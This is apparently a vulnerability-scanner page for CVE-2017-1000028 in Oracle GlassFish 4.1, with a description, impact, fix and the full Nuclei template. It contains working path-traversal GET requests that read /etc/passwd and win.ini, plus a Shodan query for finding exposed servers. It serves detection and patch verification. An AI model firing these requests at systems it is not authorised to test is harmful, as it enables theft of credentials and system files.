Oracle GlassFish Server Open Source Edition 4.1 - Local File Inclusion

highseverity

7.5CVSS score

99.5%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Oracle GlassFish Server Open Source Edition 4.1 is vulnerable to both authenticated and unauthenticated local file inclusion vulnerabilities that can be exploited by issuing specially crafted HTTP GET requests.

Impact

Unauthenticated attackers can read arbitrary files including configuration files, database credentials, and sensitive system files, potentially leading to complete server compromise.

Fix

Apply the necessary patches or updates provided by Oracle to fix the LFI vulnerability in GlassFish Server.

How to confirm it

Send: GET {{BaseURL}}/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%a… ; GET {{BaseURL}}/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win…
Positive when: regex('root:.*:0:0:', body) and status_code == 200 OR contains(body, 'bit app support') and contains(body, 'fonts') and contains(body, 'extensions') and status_code == 200

Run it with nuclei: nuclei -id CVE-2017-1000028 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2017-1000028

info:
  name: Oracle GlassFish Server Open Source Edition 4.1 - Local File Inclusion
  author: pikpikcu,daffainfo
  severity: high
  description: Oracle GlassFish Server Open Source Edition 4.1 is vulnerable to both authenticated and unauthenticated local file inclusion vulnerabilities that can be exploited by issuing specially crafted HTTP GET requests.
  impact: |
    Unauthenticated attackers can read arbitrary files including configuration files, database credentials, and sensitive system files, potentially leading to complete server compromise.
  remediation: |
    Apply the necessary patches or updates provided by Oracle to fix the LFI vulnerability in GlassFish Server.
  reference:
    - https://www.exploit-db.com/exploits/45196
    - https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18822
    - https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-016/?fid=6904
    - https://www.exploit-db.com/exploits/45196/
    - https://nvd.nist.gov/vuln/detail/CVE-2017-1000028
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-1000028
    cwe-id: CWE-22
    epss-score: 0.99479
    epss-percentile: 0.99944
    cpe: cpe:2.3:a:oracle:glassfish_server:4.1:*:*:*:open_source:*:*:*
  metadata:
    max-request: 2
    vendor: oracle
    product: glassfish_server
    shodan-query: cpe:"cpe:2.3:a:oracle:glassfish_server"
  tags: cve,cve2017,oracle,glassfish,lfi,edb,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
      - "{{BaseURL}}/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini"

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body)"
          - "status_code == 200"
        condition: and

      - type: dsl
        dsl:
          - "contains(body, 'bit app support')"
          - "contains(body, 'fonts')"
          - "contains(body, 'extensions')"
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from